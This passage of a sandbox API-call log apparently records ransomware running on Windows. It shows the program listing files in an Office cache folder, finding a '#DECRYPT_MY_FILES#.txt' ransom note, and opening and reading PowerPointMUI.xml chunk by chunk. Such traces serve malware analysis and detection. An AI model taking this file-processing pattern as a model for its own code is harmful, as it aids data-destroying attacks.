dwShareMode=0x3, lpSecurityAttributes=0x42cc60, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0031.826] GetFileType (hFile=0x120) returned 0x1 [0031.826] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0031.826] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1000) returned 0x827f88 [0031.826] GetLastError () returned 0x0 [0031.827] FindFirstFileA (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb5f4f740, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5f4f740, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fd, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825850 [0031.828] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb5f4f740, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5f4f740, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fd, dwReserved1=0x42cd40, cFileName="..", cAlternateFileName="")) returned 1 [0031.828] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb5f4f740, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb5f4f740, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5f4f740, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x6fd, dwReserved1=0x42cd40, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0031.828] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x815fa0 [0031.828] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x806668 [0031.828] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0031.828] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.828] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.828] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x815fa0 | out: hHeap=0x7f0000) returned 1 [0031.828] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe874f770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x806660, dwReserved1=0x42cde0, cFileName="PowerPointMUI.msi", cAlternateFileName="POWERP~1.MSI")) returned 1 [0031.828] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x815fa0 [0031.828] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x806668 [0031.828] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0031.828] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x815fa0 | out: hHeap=0x7f0000) returned 1 [0031.828] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x806660, dwReserved1=0x42cde0, cFileName="PowerPointMUI.xml", cAlternateFileName="POWERP~1.XML")) returned 1 [0031.828] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x815fa0 [0031.828] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x806668 [0031.828] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0031.828] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.828] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.828] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x815fa0 | out: hHeap=0x7f0000) returned 1 [0031.828] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.828] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0031.828] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0031.828] AreFileApisANSI () returned 1 [0031.828] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 82 [0031.828] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xa4) returned 0x806668 [0031.828] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x806668, cchWideChar=82 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 82 [0031.829] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x42cc58, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc8 [0031.829] GetFileType (hFile=0xc8) returned 0x1 [0031.829] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0031.829] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cd00 | out: lpNewFilePointer=0x0) returned 1 [0031.829] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42ccb4 | out: lpNewFilePointer=0x0) returned 1 [0031.829] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc84 | out: lpNewFilePointer=0x0) returned 1 [0031.829] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.830] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.830] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc84 | out: lpNewFilePointer=0x0) returned 1 [0031.830] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.830] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.830] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1000) returned 0x828808 [0031.830] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x5aa, lpOverlapped=0x0) returned 1 [0031.832] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.832] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.832] GetLastError () returned 0x0 [0031.832] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.832] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.833] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x8, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.833] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.833] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x5a2, lpOverlapped=0x0) returned 1 [0031.833] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.833] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.833] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x8, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.833] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.833] GetLastError () returned 0x0 [0031.833] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.834] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.834] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x10, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.834] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.834] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x59a, lpOverlapped=0x0) returned 1 [0031.834] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.834] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.834] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x10, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.834] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.834] GetLastError () returned 0x0 [0031.834] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.835] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.835] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x18, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.835] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.835] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x592, lpOverlapped=0x0) returned 1 [0031.835] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.835] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.835] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x18, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.835] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.835] GetLastError () returned 0x0 [0031.835] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.836] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.836] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x20, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.836] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.836] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x58a, lpOverlapped=0x0) returned 1 [0031.836] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.836] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.836] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x20, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.836] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.836] GetLastError () returned 0x0 [0031.837] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.837] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.837] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x28, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.837] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.837] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x582, lpOverlapped=0x0) returned 1 [0031.837] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.837] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.837] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x28, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.837] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.838] GetLastError () returned 0x0 [0031.838] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.838] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.838] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x30, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.838] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.838] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x57a, lpOverlapped=0x0) returned 1 [0031.838] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.838] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.838] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x30, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.839] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.839] GetLastError () returned 0x0 [0031.839] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.839] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.839] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x38, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.839] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.839] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x572, lpOverlapped=0x0) returned 1 [0031.839] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.839] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.839] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x38, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.840] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.840] GetLastError () returned 0x0 [0031.840] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.840] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.840] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x40, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.840] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.840] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x56a, lpOverlapped=0x0) returned 1 [0031.840] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.840] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.841] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x40, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.841] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.841] GetLastError () returned 0x0 [0031.841] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.841] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.841] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x48, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.841] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.841] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x562, lpOverlapped=0x0) returned 1 [0031.841] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.841] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.842] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x48, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.842] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.842] GetLastError () returned 0x0 [0031.842] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.842] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.842] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x50, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.842] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.842] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x55a, lpOverlapped=0x0) returned 1 [0031.842] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.843] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.843] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x50, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.843] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.843] GetLastError () returned 0x0 [0031.843] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.843] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.843] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x58, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.843] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.843] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x552, lpOverlapped=0x0) returned 1 [0031.843] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.844] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.844] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x58, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.844] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.844] GetLastError () returned 0x0 [0031.844] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.844] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.844] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x60, lpNewFilePointer=0x0, 